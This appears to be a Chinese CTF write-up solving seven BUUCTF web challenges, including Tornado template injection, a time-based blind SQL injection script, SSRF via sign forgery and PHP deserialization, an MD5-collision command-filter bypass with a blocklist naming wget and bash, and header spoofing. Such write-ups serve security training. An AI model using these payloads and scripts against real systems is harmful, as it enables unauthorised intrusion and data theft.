BUUCTF Web Part1
[护网杯 2018]easy_tornado
进去给了三个页面,并提示flagflag in /fllllllllllllag
。
显然要找到任意文件读取处,又在hint中看到md5(cookie_secret+md5(filename))
。url有一个filehash,应该就是这个算法。
还有一个错误页面,url有msg=ERROR,修改了一下发现页面也改变,猜测有Render,尝试模板注入。
输入
{{handler.settings}}
可以查看tornado的一些参数,包括cookie_secret。
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '5e8306b3-7ae1-45b4-9116-d0fe4c02eacd'}
然后读取文件就可以了。
db6fc544-8be8-4438-9c50-638366f85ec33bf9f6cf685a6dd8defadabfb41a03a1
做个md5
flag{44fc3be2-b981-4e3e-addb-65fd6fca1759}
[CISCN2019 华北赛区 Day2 Web1]Hack World
给了个sql让你注入。过滤了以下内容:
空格 and # 等等
直接用sleep盲注,套路这样子:如果猜对了就造成一秒延迟
sleep((select(flag)from(flag)where(flag)like('f%'))like('f%'))
于是可以编写Python脚本了(老套路。
import requests
def timeblind(url):
flag = 'flag{'
while True:
find = False
for i in '0123456789abcdefghijklmnopqrstuvwxyz{}_': #字母表
#盲注语句
data = {'id':"sleep((select(flag)from(flag)where(flag)like('f%'))like('{i}%'))".format(i=flag+i)}
print(data)
try:
requests.post(url=url,data=data,timeout=1)
except:
flag=flag+i
print('[*]%s'%flag)
find = True
break
if i=='}':
break
#防止找错
if not find:
flag = flag[0:-1]
print('[+]%s'%flag)
url = 'http://d53059c8-8795-4474-bdea-e66790292e91.node3.buuoj.cn/index.php'
timeblind(url)
flag{5957e413_b9a1_439f_8a23_28a749be15dc}
[De1CTF 2019]SSRF Me
Hint: flag is in ./flag.txt
SSRF,以服务器做跳板访问敏感文件。首先题目给出了源码
#初始化语句
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
审计可知,我们可以通过scan函数获取任意文件(即flag.txt),但是要满足:
getSign(self.action, self.param) == self.sign
其中:
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
action可以是scan和read,只有read in self.action才能读取数据
而函数getSign有一个我们不知道的secret_key
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
还有一个获得sign的方法,但这个action是scan
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
注意到代码这里判断有漏洞。 read in self.action的判断,不能保证self.action就是read,只要包含read即可。于是把这些限制条件放在一起,构造:
xxx + param + action (getSign)
xxx + param + scan (geneSign)
相等
xxx + flag.txt + readscan == xxx + flag.txtread + scan 就满足了。
于是在geneSign中,param=flag.txtread,获得md5 0c1e730e3608cfbe60ca3d25eeb72e34
再在挑战中把相应的action和sign写好,就可以获得flag了。
flag{01fdf84a-9c71-433e-8740-3f8b1920905e}
[网鼎杯 2018]Fakebook
扫描了一下目录,发现备份文件,想要利用curl但是输入有waf。
name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{return $this->get($this->blog);}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
黑盒测试发现了get和post的注入点。post注入在注册页面,用BurpSuite抓包放到sqlmap里面dump了数据库,发现存储的是php的反序列化。
从get这个注入点输入数据,绕过waf直接使用curl。
首先用order by 测试字段数。
然后union测试下每个字段都存储了什么(实际上dump的时候已经知道了)
/view.php?no=0/**/union/**/select 1,2,3,4
发现4处应该拥有一个反序列化字段,于是就可以构造
/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
这样子通过干涉数据库返回的结果,进行了SSRF。
flag{3d7eede2-28fc-4421-8e7e-46a079f0fd37}
[安洵杯 2019]easy_web
这道题告诉我们,遇到可疑的参数一定要多试探试探
上来只给了一个页面,有一个cmd和img参数。测试了cat,ls等一些命令,有的回显forbid,有的回显md5 is funny。
img很像base64,两次b64解密一次hex解密得到555.png
,于是尝试文件包含漏洞。
用index.php加密后包含,把返回的字串再解密,获得php内容
';
die("xixi no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "
";
echo "
";
}
echo $cmd;
echo "
";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "
";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
是一个md5碰撞,随便找一个(注意post的时候要在参数里面写,不能直接粘贴)
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
cmd用base64命令就可以绕过了。
flag{decd145e-ca34-4623-b75a-a9c07b4f3b94}
[极客大挑战 2019]BuyFlag
pay.php页面发现了注释隐藏代码
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number";
}elseif ($password == 404) {
echo "Password Right!";
}
}
首先把cookie的user=0改成1试试
然后利用弱类型比较,password传入404s就可以了
接下来还让你pay for flag。没有什么线索,post一个money=100000000试试,结果输入这个数字就过长,小于这个数就不够。十六进制也不好使,说明不是用大于号判断的。
可能是判断了位数,或者strcmp了一下。传入一个数组money[]=0试试,成功拿到flag
flag{eb549aa7-5a6f-4c07-9d2e-6d50299c15bc}
[极客大挑战 2019]Http
这道题告诉我们,可以在源代码里面搜索.php
的文件,说不定就在注释中发现了呢
首先扫了一通,没发现什么有用的东西。。。看了下提示,发现在源代码中找到了一个Secret.php,可以跳转!
于是进去,要求改referer.
referer: https://www.Sycsecret.com
改完之后,有要求用规定浏览器。
User-Agent: Syclover
接下来提示No!!! you can only read this locally!!!
X-Forwarded-For: 127.0.0.1
就可以了。
flag{a188def4-715f-4370-b999-e1b5b3e3b009}